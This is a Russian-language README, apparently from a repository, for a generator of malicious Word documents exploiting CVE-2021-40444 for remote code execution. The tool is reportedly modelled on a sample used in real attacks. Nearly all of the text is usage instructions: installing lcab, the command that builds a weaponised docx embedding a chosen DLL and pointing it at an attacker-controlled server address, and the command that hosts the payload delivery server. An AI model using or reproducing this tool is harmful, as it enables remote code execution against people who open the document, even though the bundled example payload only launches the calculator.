hqdat809/cve-2021-40444Генератор вредоносных DOCX, использующий уязвимость CVE-2021-40444 для удаленного выполнения кода через специально созданные документы Office, со встроенным хостинг-сервером для доставки полезной нагрузки.
Генератор вредоносных docx для эксплуатации CVE-2021-40444 (удаленное выполнение кода в Microsoft Office Word)
Создание этого скрипта основано на некотором реверс-инжиниринге образца, использовавшегося в реальных атаках: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx файл)
Вам нужно сначала установить lcab (sudo apt-get install lcab)
Обратитесь к REPRODUCE.md для ручного воспроизведения шагов
Если сгенерированный cab не работает, попробуйте указать URL exploit.html на calc.cab
Сначала сгенерируйте вредоносный docx документ, указав DLL. Вы можете использовать файл из test/calc.dll, который просто запускает calc.exe с помощью вызова system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
После генерации вредоносного docx (он будет в out/) вы можете настроить сервер:
sudo python3 exploit.py host 80
Наконец, попробуйте открыть docx на виртуальной машине Windows:
